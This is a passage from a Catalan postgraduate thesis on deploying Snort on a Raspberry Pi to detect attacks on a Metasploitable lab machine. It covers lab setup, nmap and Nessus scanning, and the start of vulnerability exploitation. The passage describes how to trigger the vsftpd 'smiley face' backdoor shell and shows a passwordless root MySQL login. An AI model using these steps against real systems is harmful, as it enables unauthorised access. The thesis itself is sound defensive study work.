

Detecció d'intrusions amb Snort

AUTOR: EDUARD GAVÍN CARULLA TITULACIÓ: POSTGRAU - SEGURETAT EN XARXES I SISTEMES TUTORA: Sra. CRISTINA PÉREZ SOLÀ

DATA: JUNY 2014

AGRAÏMENTS

Cristina Pérez Solà (Tutora). Pels seus consells, correccions i la serva paciència durant el desenvolupament d'aquest projecte.

LLICENCIA



Sou lliure de:

Compartir — copiar i redistribuir el material en qualsevol mitjà i format

Adaptar — remesclar, transformar i crear a partir del material

per a qualsevol finalitat, fins i tot comercial.

El llicenciador no pot revocar aquestes llibertats, sempre que seguiu els termes de la llicència.

Termes de la llicencia a: <u>http://creativecommons.org/licenses/by/3.0/es/legalcode.ca</u>

Resum

El present treball de final de postgrau, tractarà sobre la implementació d'un sistema de detecció intrusions amb Snort.

Per poder desenvolupar el projecte caldrà implementar-lo en un entorn simulat, de manera que mitjançant dues maquines virtuals, una atacant i una objectiu. La màquina objectiu te certes vulnerabilitats, que han de ser analitzades per tal de comprendre quin és el funcionament de les mateixes i quins son els vectors d'atac que seran utilitzats.

D'altra banda també cal una tercera màquina, aquesta implementarà Snort com a IDS (Intrusion Detection System), enlloc d'implementar una tercera màquina virtual s'ha optat per incloure a la topologia de xarxa un sistema embedded d'us general (Raspberry Pi). En aquest sistema embedded s'instal·larà tant el sistema operatiu (distribució linux) mes adient per aquesta tasca, així com el software Snort i totes les seves dependències.

Un cop muntada tota la infraestructura de maquines, s'han estudiat les vulnerabilitats de la màquina objectiu. Per fer aquest estudi s'han instal·lat sistemes automatitzats per la cerca de vulnerabilitats, concretament Nessus. També s'ha fet una cerca de les vulnerabilitats de forma manual amb els resultats obtinguts amb l'eina Nmap. De les vulnerabilitats obtingudes, s'han estudiat i creat regles per cinc d'aquestes per la detecció dels atacs amb Snort.

L'estudi s'ha fet explotant les vulnerabilitats junt amb la utilització de software per l'anàlisi de protocols (Wireshark), s'han revisat els paquets de dades que podien ser incorporats a les regles de Snort per a la detecció d'aquest atac.

Un cop creades aquestes regles, s'han efectuat els atacs, confirmant el correcte funcionament de les mateixes, comprovant també que la correcta utilització del sistema no fa aparéixer falsos positius.

Index de figures

Figura 1.1: Temporització del diagrama de Gantt	7
Figura 1.2: Diagrama de Gantt	8
Figura 2.1: Estat dels dispositius de xarxa al sistema embedded Raspberry-Pi	12
Figura 2.2: Estat definitiu dels dispositius de xarxa al sistema embedded Raspberry-Pi	14
Figura 2.3: Instal·lació de Snort i les seves dependències	16
Figura 2.4: Instal·lació de Snort, configuració de la xarxa	16
Figura 2.5: Comprovació de la versió de Snort	17
Figura 2.6: Comprovació del funcionament de Snort	17
Figura 2.7: Infraestructura complerta de l'entorn de test	18
Figura 3.1: Pàgina principal de Nessus	19
Figura 3.2: Plana d'escaneig de Nessus	20
Figura 3.3: Plana d'assignació de polítiques d'escaneig de Nessus	20
Figura 3.4: Plana de selecció de polítiques d'escaneig a Nessus	21
Figura 3.5: Assignació del objectiu a escanejar i nom assignat al escaneig de Nessus	21
Figura 3.6: Presentació dels resultats de l'escaneig	22
Figura 3.7: Vulnerabilitat vsftpd Smiley Face Backdoor trobada per Nessus	22
Figura 3.8: Explotació de la vulnerabilitat vsftpd Smiley Face Backdoor	23
Figura 4.1: Accés a MySQL com a root	25
Figura 4.2: Captura de Wireshark de l'accés a MySQL com a root	26
Figura 4.3: Modul de metasploit per la vulnerabilitat rmiregistry	27
Figura 4.4: Paràmetres mínims pel funcionament del exploit	27
Figura 4.5: Execució del exploit i obtenció de la shell meterpreter	28
Figura 4.6: Captura de Wireshark de l'execució del exploit i carrega de payload	29

Figura 4.7: Captura de la shell obtinguda en el port 1524	29
Figura 4.8: Captura de Wireshark durant l'obtenció de la shell	30
Figura 4.9: Cerca de les utilitats d'escaneig smb	30
Figura 4.10: Cerca de les utilitats d'escanneig smb	31
Figura 4.11: Carrega i execució de l'exploit smb_usermap	32
Figura 4.12: Obtenció de la shell inversa de la vulnerabilitat smb_usermap	33
Figura 4.13: Captura de Wireshark durant la carrega del payload per la shell inversa	34
Figura 4.14: Accés FTP per l'obtenció del backdoor	34
Figura 4.15: Backdoor al port 6200 llençat pel servidor FTP vulnerable	35
Figura 4.16: Captura de Wireshark durant l'autenticació FTP per obtenir el backdoor	35
Figura 5.1: Captura de Wireshark amb el codi de password per MySQL	36
Figura 5.2: Fitxer local.rules al directori /etc/snort/rules de la Raspberry-Pi	39
Figura 5.3: Fitxer de log i /etc/snort/rules de la Raspberry-Pi	40

Contingut

4.1.2. Java RMI Server Insecure Default Configuration Java Code Execution28
4.1.3. Rogue Shell backdoor Detection31
4.1.4. Samba Usermap32
4.1.5. vsftpd Smiley Face Backdoor36
5. Implementació de les regles de Snort
5.1. MySQL Unpassworeded Account Check
5.2. Java RMI Server Insecure Default Configuration Java Code Execution
5.3. Rogue Shell backdoor Detection39
5.4. Samba Usermap40
5.5. vsftpd Smiley Face Backdoor40
5.6. El fitxer local rules de Snort41
5.7. Explotació de les vulnerabilitats i el fitxer Alert41
5.8. Us del serveis i falsas deteccions43
6. Conclusions i línies de treball futur
10. Referencies
11. Annexe
A.1. Fitxer interfaces del dispositiu embedded Raspberry-Pi
A.2. Estat de les connexions amb les maquines virtuals i Raspberry-Pi48
A.3. Instal·lació de Nessus
A.4. Captura de l'anàlisi de ports amb NMAP49
A.5. Informació del exploit java_rmi_server53
A.6. Payload Meterpreter de l'explotació Java RMI54

1. Introducció

1.1. Explicació del problema a resoldre

En un entorn de laboratori (virtualitzat) s'ha d'analitzar el trafic de xarxa per intentar detectar els atacs a un sistema vulnerable. Per detectar els atacs, s'utilitzarà un sistema IDS, que monitoritzarà el tràfic i seguint unes determinades regles tindrà de determinar si es tracta d'un atac o un ús normal del sistema.

El sistema IDS Snort, estarà instal·lat en us dispositiu extern al sistema on s'executin les màquines virtuals, de manera que també s'ha de resoldre aquesta infraestructura per tal que un sistema extern vegi el tràfic entre les dues màquines virtualitzades.

Aquest sistema extern serà el hardware embedded de baix cost Raspberry-Pi. Aquest dispositiu pot executar una distribució debian o similar compilada per l'arquitectura de processadors ARM, caldrà carregar aquesta distribució per seguidament instal·lar el software IDS Snort.

Implementar un sistema de mesura i recollida de dades per fer que tots els atacs pugin ser avaluats de la mateixa manera.

1.2. Enumeració del objectius a assolir

Implementar Snort en el hardware encastat Raspberry-Pi

Configurar l'IDS Snort per a que detecti un conjunt d'atacs coneguts.

Analitzar les capacitats de l'IDS Snort en relació a la detecció d'atacs coneguts.

Estudiar el desplegament d'Snort en un escenari simulat

Analitzar el rendiment del sistema encastat Raspberry com a IDS en sistemes domèstics

1.3. Descripció de la metodologia seguida durant el desenvolupament del projecte

La metodologia que es seguirà durant el desenvolupament del projecte es basarà en la comprovació mitjançant el correcte funcionament de cada un del objectius intermitjos, és a dir, per cada un dels objectius descrits en el punt anterior es farà una avaluació dels requisits per donar-lo com a vàlid.

El següent es configurar la xarxa per que tot el trafic passi per aquesta, cal veure quina serà la forma mes adient per poder analitzar aquest tràfic. Si cal incloure Hardware especific o es pot fer que tot el tràfic passi pel IDS únicament afegint regles de forwarding a la tarja de xarxa.

Després, prepararem un escenari amb màquines virtuals que ens permetrà simular diferents atacs a una màquina objectiu. Seguidament, crearem regles que ens permetin detectar tot un conjunt d'atacs sobre la màquina objectiu. Finalment, realitzarem aquests atacs i comprovarem l'eficàcia de l'Snort a l'hora de detectar-los.

1.4. Llista de les tasques a realitzar per tal d'assolir els objectius descrits

Instal·lació de la distribució debian sobre Raspberry-pi Instal·lació de Snort al hardware embedded Raspberry-pi Instal·lació de la màquina virtual metaexplotable Instal·lació de la maquina virtual atacant (Kali Linux) Integració de tots els dispositius sobre la xarxa (atacant, objectiu i IDS) Configuració dels dispositius de xarxa Configuració de la xarxa per que el trafic sigui supervisat per Snort Comprovació de que tot el tràfic entre les maquines es visible mitjançant WireShark Estudi dels atacs a dur a terme Estudi de la maquina meta-explotable Selecció de les vulnerabilitats a analitzar Implementació de les regles de Snort per la detecció dels atatcs Establir les regles de mesura per tenir una recollida de dades que permeti el seu anàlisi

Realització dels atacs

Recollida de dades

Anàlisi de les deteccions , falsos positius i no deteccions

1.5. Planificació temporal detallada de tasques i les seves dependències

PAC-1 Inici 26/02 Entrega 17/03

PAC-2 Inici 17/03 Entrega 14/04 Implementació de snort, atacs i regles a implementar

PAC-3 Inici 14/04 Entrega 19/05 Implementació i obtenció de resultats

PAC-4 Inici 19/05 Entrega 13/06 Memòria

_			Nom	Inici	Finalització
	0	PA	.C-1	26/02/14	17/03/14
የ	0	PA	.C-2	18/03/14	14/04/14
		0	Instal·lació de la màquina metaexplotable	18/03/14	21/03/14
		•	Estudi dels atacs a dur a terme	22/03/14	25/03/14
		•	Creacio de les regles Snort	26/03/14	31/03/14
		۲	Instal·lacio debian sobre Raspberry-Pi	01/04/14	01/04/14
		•	Instal·lacio Snort	02/04/14	05/04/14
		•	Instal·lació màquina atacant	06/04/14	06/04/14
			Implantació de la xarxa	06/04/14	14/04/14
የ	0	PA	.C-3	15/04/14	19/05/14
		•	Atacs	15/04/14	28/04/14
		0	Recollida de dades	29/04/14	12/05/14
		•	Analisi dels resultats	13/05/14	19/05/14
የ	•	PA	.C-4	20/05/14	13/06/14
			Redacció de la memòria	20/05/14	06/06/14
		0	Revisió de la memòria	06/06/14	13/06/14



1.6. Revisió de l'estat de l'art

En aquest apartat s'ha fet una petita revisió de l'estat de l'art pel que fa als sistemes de detecció d'intrusions (IDS).

Un IDS és un software que tracta de detectar paquets estranys i comportaments que podrien comprometre la nostra xarxa. Existeixen diversos tipus de IDS. Els que es basen en dispositiu HBIDS, que va ser el primer tipus utilitzat, actualment en us restringit a servidors que necessiten una supervisió més acurada i que es basa en l'anàlisi de logs i estat del ports, bàsicament el que tracta és de detectar un atac abans de que aquest es produeixi. El tipus més estés actualment és l'anomenat NIDS (Network Intrusion Detector System). El mode de funcionament és bàsicament una aplicació que utilitza el dispositiu de xarxa en mode promiscu, que essencialment el que fa és llegir tots els paquets que circulen per la xarxa, analitza el seu contingut i envia un missatge al gestor de la xarxa en cas d'obtenir cap resultat positiu.

Existeixen dues formes bàsiques de funcionament, una bassada en signatures i la segona que es bassa en el comportament (anomalies de model). El funcionament que es bassa en signatures, analitza el paquet i en cas de tenir cap contingut que estigui marcat com sospitos a les regles, es generarà un avis, en el cas de les anomalies de model, en primer lloc hem de tenir una mostra del comportament "normal" de la xarxa per que d'aquesta manera poder generar avisos quan aquest comportament està sotmés a variacions, la desavantatge d'aquest tipus d'anàlisi es que comporta un elevat número de falsos positius.

També existeix un tipus de IDS anomenat Hybrid-IDS que ve a ser una barreja del HBIDS i els NIDS, aquest tipus de IDS tenen la desavantatge de que han de ser instal·lats en cada una de les màquines que volem supervisar, per altra banda tenen l'avantatge de que únicament han d'analitzar el tràfic dirigit a aquella màquina i pot analitzar les modificacions que es produeixen tal com ho faria un HBIDS.

Exemple de HBIDS comercials

Verisys <u>http://www.ionx.co.uk/</u> Tripwire <u>http://www.tripwire.com/</u>

Exemple de IDS de sotfware lliure

arrm-ng http://www.acarm.wcss.wroc.pl/index.php?n=Main.Home AIED http://aide.sourceforge.net/ Bro NIDS http://www.bro.org/ OSSEC HIDS http://www.ossec.net/ Prelude Hybrid HIDS http://www.prelude-ids.com/index.php/uk/ Samhain http://la-samhna.de/samhain/ Snort http://www.snort.org/ Suricata http://suricata-ids.org/

2. Configuració de l'escenari

2.1. Posta en marxa del hardware embedded Raspberry-Pi

Els passos seguits per la posada en marxa han estat els següents:

Descarrega de la distribució minibian. S'ha escollit aquesta distribució ja que està basada en debian, per tant fa servir el seu sistema de manteniment de fitxers i no utilitza entorn gràfic, fet que permet tenir menys ocupació de CPU, en aquest cas l'entorn gràfic no ens cal.

Font: <u>http://minibianpi.wordpress.com/</u>

http://sourceforge.net/projects/minibian/files/2013-10-13-wheezy-minibian.tar.gz/download/

Un cop instal·lat el SO a una tarja SD de 8Gb, s'ha connectat directament mitjançant un cable de xarxa al un switch, compartint connexió amb un ordinador amb accés a Internet amb dos interfaces de xarxa, una connexió WiFi amb accés a Internet i la segona RJ45 que està connectada al mateix switch on està la RasPi.

A l'ordinador host se li ha instal·lat un servidor dhcp, d'aquesta manera es podrà assignar una adreça a la RasPi i posteriorment tenir accés a Internet per poder instal·lar el software necessari per a dur a terme el projecte.

Instal·lem el servidor dhcp:

sudo apt-get install isc-dhcp-server

Editem el fitxer de configuració /etc/default/isc-dhcp-server

#vi /etc/default/isc-dhcp-server

Seleccionem el dispositiu de xarxa, que volem que sigui el predeterminat, per fer de servidor dhcp, en aquest cas eth0.

Defaults for dhcp initscript

sourced by /etc/init.d/dhcp

installed at /etc/default/isc-dhcp-server by the maintainer scripts

This is a POSIX shell fragment

On what interfaces should the DHCP server (dhcpd) serve DHCP requests?

Separate multiple interfaces with spaces, e.g. "eth0 eth1".

```
INTERFACES="eth0"
```

Un altre fitxer que cal modificar, és el /etc/dhcp/dhcpd.conf, on configurarem el rang d'IPs que assignarà i els servidors de domini, en aquest cas no li hem donat els servidors de domini, ja que ho farem manualment al configurar la IP a la RasPi, únicament és necessari modificar la part on trobem:

A slightly different configuration for an internal subnet.

subnet 192.168.0.0 netmask 255.255.255.0 {

range 192.168.0.10 192.168.0.20;

option domain-name-servers ns1.internal.example.org;

option domain-name "internal.example.org";

option routers 192.168.0.3;

option broadcast-address 192.168.0.255;

default-lease-time 600;

max-lease-time 7200;

}

Un cop tenim el servidor dhcp en funcionament, posem en marxa la RasPi de manera que al arrencar obtindrem una IP per dhcp, com que la primera IP a assignar en aquesta xarxa serà la 192.168.0.10, ens connectarem via ssh a aquesta IP per poder continuar amb la configuració del sistema.

```
eduard@asusPC:~/Documents$ sudo ssh root@192.168.0.10
[sudo] password for eduard:
root@192.168.0.10's password:
_inux raspberrypi 3.6.11+ #538 PREEMPT Fri Aug 30 20:42:08 BST 2013 armv6l
 he programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 30 11:57:00 2014 from 192.168.1.128
root@raspberrypi:~# ifconfig
eth0 Link encap:Ethernet
eth⊙
                                        HWaddr b8:27:eb:62:c5:ce
             inet addr:192.168.0.10 Bcast:192.168.0.255 Mask:255.255.0
             inet6 addr: fe80::ba27:ebff:fe62:c5ce/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
             RX packets:136 errors:0 dropped:0 overruns:0 frame:0
             TX packets:42 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:18365 (17.9 KiB) TX bytes:6208 (6.0 KiB)
lo
             Link encap:Local Loopback
             inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metr
                                                        Metric:1
             RX packets:0 errors:0 dropped:0 overruns:0 frame:0
                 packets:0 errors:0 dropped:0 overruns:0 carrier:0
             ТΧ
             collisions:0 txqueuelen:0
             RX bytes:0 (0.0 B)
                                        TX bytes:0 (0.0 B)
```

Figura 2.1: Estat dels dispositius de xarxa al sistema embedded Raspberry-Pi

En aquest punt configurem els DNS, per fer això s'ha de modificar el fitxer /etc/resolv.conf, quedant amb el següent contingut:

```
domain Home
search Home
nameserver 87.216.1.65
nameserver 87.216.1.66
```

L'ultim pas per aconseguir accés a Internet, és que l'ordinador host faci forwarding entre les dues targes de red, així podrem controlar el tràfic de la xarxa "interna" on es troba la RasPi i la xarxa "externa", que es la que assigna directament el router mitjançant del dchp de la seva tarja wifi.

Cal modificar el IPTABLES de l'ordinador host fent:

iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE

iptables --append FORWARD --in-interface eth0 -j ACCEPT

Un cop modificades les regles de iptables, ja hi ha accés des de la RasPi a Internet, podent d'aquesta manera instal·lar tot el software que calgui.

2.2. Instal·lació de la xarxa WiFi a la Raspberry-Pi

Per treballar sense interferir amb les trames que analitzarà el sistema embedded, es configurarà també una NIC WiFi (TpLink WN725N v2), de manera que ens podrem connectar fent servir el protocol SSH des de la maquina host ja que les dues estaran connectades via WiFi a un router fent servir un altre rang de IPs.

Per poder instal·lar aquest dispositiu a la RasPi, cal que carreguem un driver especific que no està inclòs a la distribució per defecte, s'ha fet seguint els passos d'aquest link:

http://www.raspberrypi.org/phpBB3/viewtopic.php?t=55779

En primer lloc cal saber la versió del kernel que hi ha instal·lat a la RasPi, farem:

root@raspberrypi:~# uname -a

Linux raspberrypi 3.6.11+ #538 PREEMPT Fri Aug 30 20:42:08 BST 2013 armv6l GNU/Linux

root@raspberrypi:~#

Un cop conegut la versió del kernel 3.6.11+, es descarrega el driver per aquesta versió i es fa la instal·lació:

wget https://dl.dropboxusercontent.com/u/80256631/8188eu-20130830.tar.gz

tar -zxvf 8188eu-20130830.tar.gz

sudo install -p -m 644 8188eu.ko /lib/modules/3.6.11+/kernel/drivers/net/wireless

sudo insmod /lib/modules/3.6.11+/kernel/drivers/net/wireless/8188eu.ko

sudo depmod -a

Per tenir accés a la xarxa wifi, cal modificar els fitxers de configuració de xarxa, aprofitant que modifiquem la configuració de xarxa per afegir el modul wifi, fixarem la adreça IP del port ethernet.

El fitxer a modificar és /etc/network/interfaces, el trobem al annexe A1, amb el contingut definitiu.

Un cop reiniciada la RasPi, ja tenim accés a les xarxes configurades.



Es pot veure una captura de les connexions simultànies des de la maquina atacant (Kali) amb ssh cap a la Raspberry-Pi així com a la maquina objectiu a l'annexe A2

2.3. Software instal·lat addicionalment a la Raspberry-Pi

Tsharp – Analitzador de xarxa en mode consola, permet crear des de la consola fitxers "pcap", que posteriorment poden ser oberts amb Wireshark per al seu anàlisi.

Nmap — Programa per l'escaneig de ports de sistemes locals o remots. Les seves característiques més destacades son:

Descobriment de servidors

Identificació de ports oberts

Serveis que s'executen

Identificació del sistema operatiu i versió utilitzada

Característiques del hardware NIC

2.4. Instal·lació de Nessus a la màquina atacant (Kali-Linux)

En primer lloc descarreguem el paquet del enllaç:

http://www.tenable.com/products/nessus/select-your-operating-system#tos

Un cop descarregat, instal·lem el fitxer fent (Figura A3 a l'annex):

dpkg -i Nessus-5.2.6-debian6_i386.deb

Per arrencar Nessus cal executar la comanda:

/etc/init.d/nessusd start

Amb el procés de Nessus en marxa, obrim a l'explorador l'enllaç <u>https://kali:8834/</u> que permetrà configurar l'escàner.

Al obrir l'enllaç ens demana un usuari i un codi de registre que podem obtenir a l'enllaç:

http://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code

Introduït el codi, el programa es registra i es descarrega el pluggins necessaris

2.5. Instal·lació de Snort a Raspberry-Pi

Instal·lació de Snort i totes les dependències necessàries amb apt-get.

root@kali: ~	×
RasPi - SNORT	
<pre>root@raspberrypi:-# apt-get install snort Reading package lists Done Building dependency tree Reading state information Done The following extra packages will be installed: libdaq0 libdumbnet1 libencode-locale-perl libfile-listing-perl libfont-afm-perl libhtml-form-perl libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhttp-cookies-perl libhtml-barser-perl libhttp-message-perl libhttp-negotiate-perl libio-socket-ip-perl libhttp-message-perl libhttp-negotiate-perl libuwp-protocol-https-perl libio-socket-ssl-perl libhtmp-mediatypes-perl libuwy-perl libnet-ssleay-perl libprelude2 libsocket-perl libtimedate-perl liburi-perl libuww-robotrules-perl libusocket-perl libtimedate-perl libuthtp-ness sont-rules-default Suggested packages: libdata-dump-perl libcrypt-ssleay-perl libauthen-ntlm-perl snort-doc The following NEW packages will be installed: libdaq0 libdumbnet1 libencode-locale-perl libfile-listing-perl libfont-afm-perl libhtml-form-perl libhttp-negotiate-perl libhtml-parser-perl libhtml-tagset-perl libhttp-message-perl libhttp-negotiate-perl libio-socket-ip-perl libhttp-cokies-perl libhttp-daemon-perl libhttp-date-perl libhttp-message-perl libhttp-negotiate-perl libio-socket-ip-perl libhttp-roboties-perl libio-socket-sp-perl libhttp-messlage-perl libhttp-to-perl libio-socket-ip-perl libhttp-component sonrt-common snort-common-libraries snort-rules-default ouggraded, 35 newly installed, 0 to remove and 47 not upgraded. Need to get 5,180 kB of archives. After this operation, 18.2 MB of additional disk space will be used. Do you want to continue [Y/n]? y</pre>	
Figura 2.3: Instal·lació de Snort i les seves dependències	

Durant la instal·lació cal identificar la xarxa que supervisarà, aquesta xarxa la podrem canviar un cop estigui instal·lat.

Configuring snort Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 addresses or 192.168.1.42/32 for just one. Multiple values should be comma-separated (without spaces). Please note that if Snort is configured to use multiple interfaces, it will use this value as the HOME_NET definition for all of them. Address range for the local network: 192.168.0.0/16 Un cop configurat, comprovem la versió de Snort.

	root@kali: ~	×			
	RasPi - SNORT				
root@raspl	berrypi:~# snortv -*> Snort! <*- Version 2.9.2.2 IPv6 GRE (Build 121) By Martin Roesch & The Snort Team: http://www.snort.org/snort/snort-team Copyright (C) 1998-2012 Sourcefire, Inc., et al. Using libpcap version 1.3.0 Using PCRE version: 8.30 2012-02-04 Using ZLIB version: 1.2.7				
root@rasp	berrypi:~#				
Figura 2.5:	Figura 2.5: Comprovació de la versió de Snort				

2.6. Comprovació del funcionament de Snort

Per comprovar el funcionament, s'ha executat Snort al hardware RaspberryPi i s'ha executat un ping sobre la màquina metaexplotable des de l'atacant, es pot veure a la captura que els paquets ICMP son detectats de forma correcta per Snort.

RasPi - SNORT
root@raspberrypi:~# snort Running in packet dump mode
== Initializing Snort == Initializing Output Plugins! pcap DAQ configured to passive. The DAQ version does not support reload. Acquiring network traffic from "eth0". Decoding Ethernet
== Initialization Complete ==
<pre>,'*> Snort! <*- o")~ Version 2.9.2.2 IPv6 GRE (Build 121)</pre>
Commencing packet processing (pid=3791) 04/14-16:44:14.704824 192.168.0.20 -> 192.168.0.40 ICMP TTL:64 TOS:0X0 ID:12255 IpLen:20 DgmLen:84 DF Type:8 Code:0 ID:20091 Seq:1 ECH0 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/14-16:44:14.712908 192.168.0.40 -> 192.168.0.20
IP Atacant - KALI
<pre>^ root@kali:~# ping 192.168.0.40 PING 192.168.0.40 (192.168.0.40) 56(84) bytes of data. 64 bytes from 192.168.0.40: icmp_req=1 ttl=64 time=8.42 ms 64 bytes from 192.168.0.40: icmp_req=2 ttl=64 time=0.537 ms 64 bytes from 192.168.0.40: icmp_req=3 ttl=64 time=0.627 ms </pre>
<pre>~ 3 packets transmitted, 3 received, 0% packet loss, time 2001ms rtt min/avg/max/mdev = 0.537/3.197/8.428/3.699 ms root@kali:~# </pre>
Figura 2.6: Comprovació del funcionament de Snort

2.7. Infraestructura complerta de l'entorn de test.



3. Escaneig de la màquina objectiu

3.1. Escaneig amb NMAP

Un cop hem instal·lat Nessus i abans de fer una prova de vulnerabilitats a la maquina metaexplotable, manualment farem un escaneig dels ports, així tindrem una primera impressió del que podem trobar en aquesta màquina, per fer aquest escaneig, utilitzarem l'eina nmap, que ens retornarà tots els ports oberts, el programes i les versions que hi ha al darrere.

Per obtenir aquest escaneig executarem la instrucció:

root@kali:~# nmap -A -T4 192.168.0.40

Es pot veure el resultat de l'escaneig a l'annex A4

3.2. Escaneig amb Nessus

Al executar nessus (obrint l'enllaç: <u>https://kali:8834/html5.html#/</u>) observem la pàgina:

🧐 Nessus / Login	-		
https://kali:8834/ht	ml5.html#/	☆ ✔ 🕑 🚺 🖌 Google	Q 🖟 😚
🛅 Most Visited 🌱 👖 Offens	ve Security 🌂 Kali Linux 🌂 Kali Docs	🔜 Exploit-DB 🛛 🔪 Aircrack-ng	
		:55U5	
	1 Username		
	Password		
	Remember Me	Sign In	
	O ten		
ura 3.1: Pàgina princi	oal de Nessus		
ra 3.1: Pàgina princi	oal de Nessus		

UOC: Postgrau Seguretat en xarxes i sistemes

Amb la primera visió de tot els ports que hi ha oberts i una aproximació del software instal·lat, podríem comprovar cada una de les versions i veure quines vulnerabilitats existeixen.

Per veure i poder comparar si aquestes vulnerabilitats hi son presents al sistema, el següent serà llençar l'analitzador de vulnerabilitats Nessus, en primer lloc accedirem al web amb l'usuari i password que hem posat al instal·lar-lo, en el nostre cas posarem l'usuari: nessus i pass:nessus

https://kali:8834/ht	tml5.html#/scans		☆ ~ @	<mark>8</mark> ✔ Google	Q 🕹 👩
Most Visited 🗸 👖 Offens	ive Security 🌂 Kali Linux 🌂	Kali Docs 🛄Exploit-DB 📡Aircrack-ng			
Nessus [®]	Scans Schedules	Palicies Users		nessus	• A
Scans			Upload	Q Search Scans	
🕂 New Scan	Scans / My Scans				
My Scans	Name	Last Updated 🔺		Status	
Trash	scan01	March 31, 2014 21:04:14		✓ Completed	×
All Scans					
New Folder					

La plana principal que trobem, és la pantalla de escaneig. Peró el que cal fer en primer lloc, és seleccionar el tipus d'escaneig, per defecte ja existeixen diversos tipus configurats, per veure'ls em d'anar a Policies

🖏 Nessus / Policies					
🔶 🔒 https://kali:8834/h	tml5.html#/polici	es			ු 🗸 🥰
🛅 Most Visited ➤ 📲 Offens	sive Security 🌂	Kali Linux 🥆 Kal	li Docs 🛄 Exploit	-DB 🐚 Aircrack-ng	
Nessus	Scans	Schedules	Policies	Users	
Policies					Upload
€ New Policy	Policies /	All Policies			
All Policies	Nan	ne 🔻		Owner	
	bas	ic01		nessus	
Figura 3.3: Plana d'assignació de polítiques d'escaneig de Nessus					

Un cop en aquesta pestanya, seleccionem la creació d'una nova política, hi ha diverses plantilles de polítiques creades per defecte al sistema, en qualsevol cas podem també crear la política d'anàlisis segons ens convingui més.



Un cop seleccionada la política a utilitzar, ja podem tornar a la pàgina principal on llençarem l'anàlisi.

Per llençar l'anàlisi, cal crear-ne un de nou i assignar-li la política creada en el pas anterior, també l'adreça del servidor que es vol auditar. En cas que fos necessari també es podria planificar aquest llançament, donat que en un entorn on hi hagi usuaris connectats, es podrien veure ralentitzades les seves connexions i per tant de vegades, és millor fer-ho quan no s'interfereixi la feina de ningú, per exemple durant la nit o el cap de setmana.

< Scans	New Scan / Basic Settings		
Basic Settings	Name		
Schedule Settings	Policy	basic01 -	
Email Settings	Folder	My Scans 🔹	
	Targets	Example: 192.168.1.1-192.168.1.255, 192.168.2.0/24, sample.host.com	
Figura 3.5: Assignació de	el objectiu a escane	jar (IP) i nom assignat al escaneig de Nessus	

Un cop finalitzada la configuració, els sistema llença les proves cap al servidor, el resultat obtingut amb el Basic Network Scan és el següent:

2.168.0.40	7	16 8	116	
Scan D e ta	IIs	/	Vulnerabilities	
Name:	scan01			🔲 Info
Folder:	My Scans			Low
Status:	Completed			🦲 Medium
Policy:	basic01			ligh 🦲
Targets:	192.168.0.40			Critical
Start time:	Mon Mar 31 20:59:17 2014			
End time:	Mon Mar 31 21:04:14 2014			
Elapsed:	5 minutes			, ,

El total de vulnerabilitats trobades pel sistema han sigut de:

- 7 vulnerabilitats de severitat crítica
- 4 vulnerabilitats de severitat alta
- 16 vulnerabilitats de severitat mitja
- 8 vulnerabilitats de severitat baixa

A mode de test, s'ha comprovat una de les vulnerabilitats trobades per Nessus



Com es pot veure a la captura, els servidor vsFTPd és vulnerable al "Smiley Face Backdoor". Un cop introduït un usuari amb ":)", es obre un backdoor al port 6200 que dóna una consola amb drets d'administrador.



4. Anàlisis de vulnerabilitats

Per a poder supervisar els atacs sobre la màquina metasploitable, en primer lloc hem de veure on s'ubiquen aquestes regles i com es criden. En aquest cas les regles estan ubicades al directori /etc/snort/rules, dins d'aquest directori trobem tots els fitxer que contenen les definicions de les regles. El nom d'aquests fitxers dóna una idea del que trobarem dins, per exemple el fitxer ftp.rules conté totes les regles que estan relacionades amb el servei ftp.

En el cas que vulguem definir regles pròpies, el fitxer on hem d'afegir aquestes regles és el local.rules.

Un altre fitxer important és el fitxer snort.conf. Aquest fitxer es troba al directori /etc/snort, en ell trobarem la configuració de les variables de xarxa , prepocessadors per l'anàlisi de les comunicacions i les regles que es volen utilitzar en l'anàlisi, si no es volen obtenir resultats de les regles incloses per defecte, el que s'ha de fer, és comentar el nom de les regles afegint # (coixinet) davant el nom de cada una d'elles.

I per últim el fitxer snort.debian.conf, també al directori /etc/snort, on trobarem la configuració de xarxa, NIC, adreça i inici del programa.

Tota la informació de com s'han de crear les regles, la podem trobar a la pròpia web del projecte snort, com no és l'objectiu del projecte explicar de forma genèrica com s'han de definir regles a snort, en cada una de les regles afegides es donarà l'explicació de les seves parts.

Com ja varem veure amb nessus el sistema té diverses vulnerabilitats. Per al nostre projecte s'han escollit les següents vulnerabilitats:

- 1- MySQL Unpassworeded Account Check
- 2- Java RMI Server Insecure Default Configuration Java Code Execution
- 3- Rogue Shell backdoor Detection
- 4- Samba Usermap

5- vsftpd Smiley Face Backdoor

S'ha explotat cada una d'aquestes vulnerabilitats, agafant també les traces de xarxa amb el software WireShark, per d'aquesta forma poder analitzar en detall que es el que s'ha enviat al servidor i fer la regla d'snort a partir de les dades obtingudes.

4.1. Explotació de les vulnerabilitats

4.1.1. MySQL Unpassworeded Account Check

Aquesta vulnerabilitat és una mala configuració del sistema, en concret de la base de dades MySQL, l'usuari root (administrador) de la base de dades no disposa de password i per tant l'accés a tot el contingut és tan simple com obrir una connexió amb el terminal de mysql i donar el nom de root a les credencials de connexió.

Com es pot veure a la captura següent, tenim accés a la bases de dades del sistema:

root@kali:~# mysql -h 192.168.0.40 -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.0.51a-3ubuntu5 (Ubuntu)
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
